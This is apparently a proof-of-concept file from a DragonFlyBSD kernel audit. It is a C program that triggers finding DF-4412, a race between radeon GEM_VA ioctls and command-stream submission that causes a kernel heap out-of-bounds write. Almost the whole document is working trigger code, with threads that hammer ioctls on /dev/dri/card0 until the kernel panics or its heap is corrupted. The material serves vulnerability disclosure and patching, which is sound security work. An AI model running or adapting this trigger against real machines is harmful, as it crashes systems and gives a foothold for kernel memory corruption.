⬢ DragonFlyBSD Kernel Audit
DF-4412 / trigger_race.c
← back to finding ↓ download raw
/*
 * DF-4412 trigger: radeon_vm_get_bos() TOCTOU on vm->max_pde_used
 * -> heap out-of-bounds write (kernel).
 *
 * Race layout (two threads on the SAME drm fd, i.e. the same radeon_vm):
 *
 *   T2 (CS thread)                         T1 (GEM_VA thread)
 *   ----------------                       ------------------
 *   radeon_cs_parser_bos()
 *     radeon_vm_get_bos():
 *       kvmalloc_array(max_pde_used+2)     radeon_vm_bo_set_addr():
 *       [alloc for OLD bound]                vm->max_pde_used = eoffset>>bs   (grow, :535)
 *       for (i=0; i<=vm->max_pde_used;i++)   vm->page_tables[i].bo = pt       (:573)
 *         list[idx++] = ...                [PTs appear one-by-one]
 *         ^^^ loop bound RE-READ live;
 *             idx runs past the kvmalloc'd array
 *
 * get_bos call sites run WITHOUT vm->mutex:
 *   - sys/dev/drm/radeon/radeon_cs.c:191  (mutex only taken at :564)
 *   - sys/dev/drm/radeon/radeon_gem.c:569 (mutex_lock at :583 comes after)
 *
 * Each round uses a FRESH drm fd so vm->max_pde_used starts at 0 again.
 *
 * Build:  cc -O2 -I/usr/src/sys/dev/drm/include/uapi -o trigger_race trigger_race.c
 * Run (on a machine with a cayman+ radeon KMS device):
 *         ./trigger_race            # expect: kernel panic / heap corruption
 *                                    # after enough rounds (win the race)
 */
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "radeon_abi.h"

#ifndef RADEON_VA_MAP
#define RADEON_VA_MAP 0
#endif

static const char *CARD = "/dev/dri/card0";

static int drm_ioctl(int fd, unsigned long req, void *arg)
{
	return ioctl(fd, req, arg);
}

static int gem_create(int fd, uint64_t size, uint32_t domain, uint32_t *handle)
{
	struct drm_radeon_gem_create gc;
	int r;

	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	gc.alignment = 4096;
	gc.initial_domain = domain;
	gc.flags = 0;
	r = drm_ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE_, &gc);
	if (r == 0)
		*handle = gc.handle;
	return r;
}

static int gem_va(int fd, uint32_t handle, uint64_t offset, uint32_t op)
{
	struct drm_radeon_gem_va va;
	int r;

	memset(&va, 0, sizeof(va));
	va.handle = handle;
	va.offset = offset;		/* bytes */
	va.flags = RADEON_VM_PAGE_READABLE |
		   RADEON_VM_PAGE_WRITEABLE;
	va.vm_id = 0;
	va.operation = op;
	r = drm_ioctl(fd, DRM_IOCTL_RADEON_GEM_VA_, &va);
	if (r)
		fprintf(stderr, "GEM_VA op=%d offset=0x%llx -> %s\n",
		    op, (unsigned long long)offset, strerror(errno));
	return r;
}

struct race_ctx {
	int fd;
	uint32_t bo_low;	/* mapped low  -> max_pde_used stays 0 */
	uint32_t bo_high;	/* mapped high -> bumps max_pde_used to ~4095 */
	pthread_barrier_t bar;
	volatile int stop;
};

/* CS packet: 3 dwords of nop (type-3 packet, opcode 0x10 = NOP? harmless) */
struct cs_chunk {
	struct drm_radeon_cs_chunk c;
	uint32_t dw[8];
};

static int submit_cs(int fd, uint32_t handle)
{
	struct drm_radeon_cs cs;
	struct drm_radeon_cs_chunk chunks[3];
	uint32_t csflags_v;
	uint32_t *csflags = &csflags_v;
	struct drm_radeon_cs_reloc reloc;
	uint32_t ib[4] = { 0x81000000, 0, 0, 0 }; /* PKT3 NOP header-ish */

	memset(&reloc, 0, sizeof(reloc));
	reloc.handle = handle;
	reloc.read_domains = RADEON_GEM_DOMAIN_VRAM;
	reloc.write_domain = 0;
	reloc.flags = 0;

	memset(&chunks[0], 0, sizeof(chunks[0]));
	chunks[0].chunk_id = RADEON_CHUNK_ID_IB;
	chunks[0].length_dw = 4;
	chunks[0].chunk_data = (uint64_t)(uintptr_t)ib;

	memset(&chunks[1], 0, sizeof(chunks[1]));
	chunks[1].chunk_id = RADEON_CHUNK_ID_RELOCS;
	chunks[1].length_dw = sizeof(reloc) / 4;
	chunks[1].chunk_data = (uint64_t)(uintptr_t)&reloc;

	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 3;
	cs.chunks = (uint64_t)(uintptr_t)chunks;
	/* USE_VM is a RADEON_CHUNK_ID_FLAGS chunk: first dword = flags */
	chunks[2].chunk_id = RADEON_CHUNK_ID_FLAGS;
	chunks[2].length_dw = 1;
	chunks[2].chunk_data = (uint64_t)(uintptr_t)csflags;
	*csflags = RADEON_CS_USE_VM;

	return drm_ioctl(fd, DRM_IOCTL_RADEON_CS_, &cs);
}

static void *t_high(void *arg)
{
	struct race_ctx *c = arg;

	pthread_barrier_wait(&c->bar);
	while (!c->stop) {
		/* MAP at the very top of the (default 8GB) VA space:
		 * eoffset>>bs ~= (8GB/4KB)>>9 = 4095  -> max_pde_used := 4095,
		 * then page tables appear one at a time inside set_addr. */
		gem_va(c->fd, c->bo_high, 0x1fffff000ULL - 0x1000, RADEON_VA_MAP);
		gem_va(c->fd, c->bo_high, 0, RADEON_VA_UNMAP);
	}
	return NULL;
}

int main(void)
{
	int fd, round = 0;
	pthread_t th;
	struct race_ctx c;

	fd = open(CARD, O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		printf("open(%s): %s\n", CARD, strerror(errno));
		printf("=> no radeon DRM device available; trigger cannot run.\n");
		return 2;
	}

	for (;;) {
		round++;
		memset(&c, 0, sizeof(c));
		c.fd = fd;
		if (gem_create(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &c.bo_low) ||
		    gem_create(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &c.bo_high)) {
			fprintf(stderr, "gem_create failed: %s\n", strerror(errno));
			break;
		}
		/* low mapping: PFNs [256..257] -> pt_idx 0 -> max_pde_used stays 0 */
		if (gem_va(fd, c.bo_low, 0x100000, RADEON_VA_MAP))
			break;

		pthread_barrier_init(&c.bar, NULL, 2);
		c.stop = 0;
		if (pthread_create(&th, NULL, t_high, &c))
			break;

		pthread_barrier_wait(&c.bar);
		/* hammer CS: each radeon_cs_parser_bos() calls radeon_vm_get_bos()
		 * with NO vm->mutex; kvmalloc(0+2) vs live loop bound */
		for (int i = 0; i < 64; i++)
			submit_cs(fd, c.bo_low);
		c.stop = 1;
		pthread_join(th, NULL);
		pthread_barrier_destroy(&c.bar);

		/* clean this round so max_pde_used resets (fresh vm per fd);
		 * easiest fresh vm = close+reopen fd */
		close(fd);
		fd = open(CARD, O_RDWR | O_CLOEXEC);
		if (fd < 0) {
			printf("reopen failed round %d\n", round);
			return 2;
		}
		if ((round % 200) == 0)
			printf("round %d\n", round);
	}
	printf("exited after %d rounds\n", round);
	return 0;
}